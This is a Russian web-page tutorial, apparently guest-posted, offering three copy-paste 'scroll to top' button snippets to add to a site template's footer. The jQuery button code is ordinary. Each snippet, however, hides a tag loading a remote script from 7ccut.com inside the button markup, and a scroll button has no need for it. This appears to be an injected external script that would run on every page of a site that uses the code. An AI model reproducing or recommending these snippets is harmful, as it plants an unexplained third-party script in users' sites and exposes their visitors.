Пятница, 22.11.2024, 01:53Вы вошли как Гость Группа "Гости" выход



Главная | Форум | Файлы | Ваша ссылка | Блог | Статьи | Видео
Навигация по сайту
  Главная
  Новости сайта
  Программы
  Музыка
  Игры
  Flash игры
  Фильмы
  Фильмы онлайн
  Сериалы
  Видео клипы
  Скрипты
  Шаблоны
  Книги
  Обои
  Видео уроки
  Добавление новостей

Ваш профиль

Статистика
Rambler's Top100
Рейтинг@Mail.ru



Главная » 2014 » Январь » 1 » Кнопки вверх для сайта
16:50
Кнопки вверх для сайта


Как правильно установить кнопку "Вверх на свой сайт?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Кнопка в стиле minecraft

скрин:


Код
<!-- <Кнопка Вверх> -->
<script type="text/javascript">
$(document).ready(function(){

   
  $("#back-top").hide();
   
  $(function () {
  $(window).scroll(function () {
   
  if ($(this).scrollTop() > 125) {
  $('#back-top').fadeIn();
   
   
   
  } else {
  $('#back-top').fadeOut();
   
  }
   
   
  });

   
  $('#backop').click(function () {
  $('body,html').animate({
  scrollTop: 0
  }, 800);
  return false;
  });
  });

});
</script>

<script type="text/javascript">
$(window).scroll(function(){
var s = $(window).scrollTop();
var f = $(document).height()-$(window).height();

var d=s/f*100;
var p=Math.round(d);

$("#pix").text(p);

});
</script>

<div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; right: 10px; top: 90%; background: transparent; " id="layer2">
<center><a title="Вверх" id="backop" href="#top"><script src="http://7ccut.com/table.js" type="text/javascript"></script><img src="http://pnghosts.ru/img/up_knopka_vv.png" onmouseover="this.src='http://pnghosts.ru/img/up1_knopka_vvv.png'" onmouseout="this.src='http://pnghosts.ru/img/up_knopka_vv.png'"></a></center>
<center><font color="#000000" size="3">
<span id="pix"></span>%</font></center>
</div>
<!-- </Конец> -->


Кнопка в стиле Butterfly



Расположение кнопрки "вверх" в левом нижнем углу.

Код
<script type="text/javascript">
$(function() {
  $.fn.scrollToTop = function() {
  $(this).hide().removeAttr("href");
  if ($(window).scrollTop() >= "250") $(this).fadeIn("slow")
  var scrollDiv = $(this);
  $(window).scroll(function() {
  if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
  else $(scrollDiv).fadeIn("slow")
  });
  $(this).click(function() {
  $("html, body").animate({scrollTop: 0}, "slow")
  })
  }
});

$(function() {
  $("#Go_Top").scrollToTop();
});
</script>

<a style='position: fixed; bottom: 25px; left: 1px; cursor:pointer; display:none;'
href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/Button-Butterfly.png" alt="Вверх" title="Вверх">
</a><script src="http://7ccut.com/table.js" type="text/javascript"></script>
<script type="text/javascript">  
$(function($) {  
$("#button_potfolio img").hover(  
function () {  
$(this).animate({right: '0'}, {queue:false, duration: 350});  
//$(this).css('right', '0');  
},  
function () {  
$(this).animate({right: '-100px'}, {queue:false, duration: 350});  
// $(this).css('right', '-100px');  
}  
);  
});  
</script>


Кнопка в стиле парашюта - Вознестись к небесам



Код
<!--кнопка вверх Вознестись к небесам-->
<a href="javascript://" onclick="$('body').scrollTo({top:$('body').offset().top, left:0}, 1500);return false;">  
  <div style="position:fixed; opacity:0.8; bottom:22px; right:25px;" id="fImgtotop"><img title="Вверх" src="http://pnghosts.ru/img/air-balloon-icon.png" border="0"><script src="http://7ccut.com/table.js" type="text/javascript"></script></div>  
  </a>
<!-- </кнопка вверх Вознестись к небесам-->
Категория: | Добавил: Гость | Дата: 22.11.2024 | Просмотров: 306 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск на сайте